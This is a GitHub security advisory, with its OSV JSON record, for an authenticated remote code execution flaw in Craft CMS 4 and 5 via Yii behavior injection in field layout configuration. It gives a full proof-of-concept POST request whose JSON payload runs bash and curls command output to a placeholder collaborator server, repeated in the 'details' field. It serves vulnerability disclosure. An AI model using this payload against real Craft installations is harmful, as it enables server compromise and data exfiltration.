GHSA-QRGM-P9W5-RRFW
Vulnerability from github – Published: 2026-05-06 17:54 – Updated: 2026-05-13 16:29We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.
This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.
The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.
This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.
We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:
``` POST /admin/actions/element-search/search HTTP/2 Host: hostnamehere Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...; Content-Length: … User-Agent: Mozilla/5.0 X-Csrf-Token: ... Accept: application/json Content-Type: application/json
{
"elementType": "craft\elements\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\elements\conditions\ElementCondition",
"elementType": "craft\elements\Category",
"fieldLayouts": [
{
"as rce": {
"__class": "yii\behaviors\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\Readline\Hoa\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/id](https://yourcollaboratorservergoeshere/%60id%60/)""
}
]
},
"on *": "self::beforeSave"
}
]
}
}
```
Resources
https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.17.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.9.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44011"
],
"database_specific": {
"cwe_ids": [
"CWE-470",
"CWE-479"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T17:54:06Z",
"nvd_published_at": "2026-05-12T21:16:15Z",
"severity": "HIGH"
},
"details": "We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii\u2019s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.\n\nThis is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.\n\nThe request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.\n\nThis appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.\n\nWe were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command \u201cid\u201d for the web user being appended to the path:\n\n ```\nPOST /admin/actions/element-search/search HTTP/2\nHost: hostnamehere\nCookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;\nContent-Length: \u2026\nUser-Agent: Mozilla/5.0\nX-Csrf-Token: ...\nAccept: application/json\nContent-Type: application/json\n\n{\n\n \"elementType\": \"craft\\\\elements\\\\Category\",\n \"siteId\": 1,\n \"search\": \"\",\n \"condition\": {\n \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n \"elementType\": \"craft\\\\elements\\\\Category\",\n \"fieldLayouts\": [\n {\n \"as rce\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\n \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n \"execute\"\n ]\n },\n \"typecastBeforeSave\": \"/bin/bash -c \\\"curl [https://yourcollaboratorservergoeshere/`id`\\](https://yourcollaboratorservergoeshere/%60id%60/)\"\"\n }\n ]\n },\n \"on *\": \"self::beforeSave\"\n }\n ]\n }\n}\n```\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3",
"id": "GHSA-qrgm-p9w5-rrfw",
"modified": "2026-05-13T16:29:16Z",
"published": "2026-05-06T17:54:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44011"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior"
}
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